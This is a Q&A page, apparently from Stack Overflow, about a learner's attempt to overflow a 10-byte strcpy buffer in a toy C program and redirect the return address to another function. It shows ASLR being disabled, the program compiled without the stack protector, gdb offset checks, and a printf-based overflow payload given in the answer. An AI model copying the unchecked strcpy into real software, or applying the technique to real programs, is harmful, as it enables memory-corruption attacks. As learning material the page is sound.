2

i'm having problem to buffer overflow a simple c program that takes input from command line, this is the main.c code:

#include <stdio.h>
#include <string.h>
void func(char *name)
{
   char buf[10];
   strcpy(buf, name);
}
void chgflow(){
     printf("changed flow!!\n");
}
void main(int argc, char *argv[])
{
  func(argv[1]);
  printf("i should not be viewed if flow is changed\n");
  chgflow();
} 

this is the assembly version taken from objdump -d ./main :

<main>:
 5a3:   8d 4c 24 04             lea    0x4(%esp),%ecx
 5a7:   83 e4 f0                and    $0xfffffff0,%esp
 5aa:   ff 71 fc                pushl  -0x4(%ecx)
 5ad:   55                      push   %ebp
 5ae:   89 e5                   mov    %esp,%ebp
 5b0:   53                      push   %ebx
 5b1:   51                      push   %ecx
 5b2:   e8 99 fe ff ff          call   450 <__x86.get_pc_thunk.bx>
 5b7:   81 c3 49 1a 00 00       add    $0x1a49,%ebx
 5bd:   89 c8                   mov    %ecx,%eax
 5bf:   8b 40 04                mov    0x4(%eax),%eax
 5c2:   83 c0 04                add    $0x4,%eax
 5c5:   8b 00                   mov    (%eax),%eax
 5c7:   83 ec 0c                sub    $0xc,%esp
 5ca:   50                      push   %eax
 5cb:   e8 7d ff ff ff          call   54d <func>
 5d0:   83 c4 10                add    $0x10,%esp
 5d3:   83 ec 0c                sub    $0xc,%esp
 5d6:   8d 83 90 e6 ff ff       lea    -0x1970(%ebx),%eax
 5dc:   50                      push   %eax
 5dd:   e8 fe fd ff ff          call   3e0 <puts@plt>
 5e2:   83 c4 10                add    $0x10,%esp
 5e5:   e8 8e ff ff ff          call   578 <chgflow>
 5ea:   90                      nop
 5eb:   8d 65 f8                lea    -0x8(%ebp),%esp
 5ee:   59                      pop    %ecx
 5ef:   5b                      pop    %ebx
 5f0:   5d                      pop    %ebp
 5f1:   8d 61 fc                lea    -0x4(%ecx),%esp
 5f4:   c3                      ret

<func>:
 54d:   55                      push   %ebp
 54e:   89 e5                   mov    %esp,%ebp
 550:   53                      push   %ebx
 551:   83 ec 14                sub    $0x14,%esp
 554:   e8 9c 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 559:   05 a7 1a 00 00          add    $0x1aa7,%eax
 55e:   83 ec 08                sub    $0x8,%esp
 561:   ff 75 08                pushl  0x8(%ebp)
 564:   8d 55 ee                lea    -0x12(%ebp),%edx
 567:   52                      push   %edx
 568:   89 c3                   mov    %eax,%ebx
 56a:   e8 61 fe ff ff          call   3d0 <strcpy@plt>
 56f:   83 c4 10                add    $0x10,%esp
 572:   90                      nop
 573:   8b 5d fc                mov    -0x4(%ebp),%ebx
 576:   c9                      leave
 577:   c3                      ret

<chgflow>:
 578:   55                      push   %ebp
 579:   89 e5                   mov    %esp,%ebp
 57b:   53                      push   %ebx
 57c:   83 ec 04                sub    $0x4,%esp
 57f:   e8 71 00 00 00          call   5f5 <__x86.get_pc_thunk.ax>
 584:   05 7c 1a 00 00          add    $0x1a7c,%eax
 589:   83 ec 0c                sub    $0xc,%esp
 58c:   8d 90 80 e6 ff ff       lea    -0x1980(%eax),%edx
 592:   52                      push   %edx
 593:   89 c3                   mov    %eax,%ebx
 595:   e8 46 fe ff ff          call   3e0 <puts@plt>
 59a:   83 c4 10                add    $0x10,%esp
 59d:   90                      nop
 59e:   8b 5d fc                mov    -0x4(%ebp),%ebx
 5a1:   c9                      leave
 5a2:   c3                      ret

first of all i executed:

echo 0 > /proc/sys/kernel/randomize_va_space

then compiled main.c :

gcc -m32 -g main.c -o main -fno-stack-protector

when func function terminates i want to overwrite the regular ret address, and pointing to chgflow function, therefore bypassing the regular next instruction:

printf("i should not be viewed if flow is changed\n");

to debug the main.c and inspect which memory addresses are in place i executed:

gdb ./main
go
disas main
disas chgflow

and this is what i found for disas main:

0x565555cb <+40>:    call   0x5655554d <func>
0x565555d0 <+45>:    add    $0x10,%esp

and for chgflow:

Dump of assembler code for function chgflow:
0x56555578 <+0>:     push   %ebp

So i can understand that:

0x565555d0 <+45>:    add    $0x10,%esp

is the regular ret address (and next instruction) after func terminates, and 0x56555578 is the first instruction of chgflow function. Now i have to inspect assembly of func to understand how many char A (let's say) i need for stuffing the stack; from this line:

564:   8d 55 ee                lea    -0x12(%ebp),%edx

i understand i need 18Byte + 4 Byte of A stuffing to get to Ret address. To confirm this i executed again:

gdb ./main
break 7
run AAAAAAAAAAAAAAAAAAAAAA

("A" repeated 22 times)

(gdb) x/s $ebp-18
0xffffd2a6: 'A' <repeats 22 times>
(gdb) x/s $ebp
0xffffd2b8: "AAAA"
(gdb) x/x $ebp+4
0xffffd2bc: 0x00

my test finished here because i cannot understand why (gdb) x/x $ebp+4 that should be the Ret address, displays 0x00 as the result. I expected the ret address to not change from the regular one 0x565555d0. But, hey! 0x00 should be the terminator isn't it? So i went on and performed another test with 21 "A" stuffing and the result is correct this time:

(gdb) x/x $ebp+4
0xffffd2bc: 0x565555d0

My last need is now to overwrite the return address with 0x56555578, that is the address of the first instruction of chgflow function. I performed the previous test with this replaced:

run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56

("A" repeats 21 times) but gdb gave to me:

Breakpoint 1, func (name=0x35357835 ) at main.c:7

and this is what i can see from memory:

(gdb) x/x $ebp+4
0xffffd2ac: 0x37
(gdb) x/s $ebp+4
0xffffd2ac: "78x55x55x56"

finally i was not able to jump to chgflow

Anyone can help me with this? i'd really appreciate. regards Marco

1

When you execute run AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56, it does not parse for hex escape sequences. The backslashes are taken similarly to shell escape sequences (e.g., \n) but hex characters are not supported.

In order to get the hex sequences converted to characters, you need to use an external program. Since you just need a literal sequence converted, the easiest to use is printf:

run $(printf "AAAAAAAAAAAAAAAAAAAAA\x78\x55\x55\x56")

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.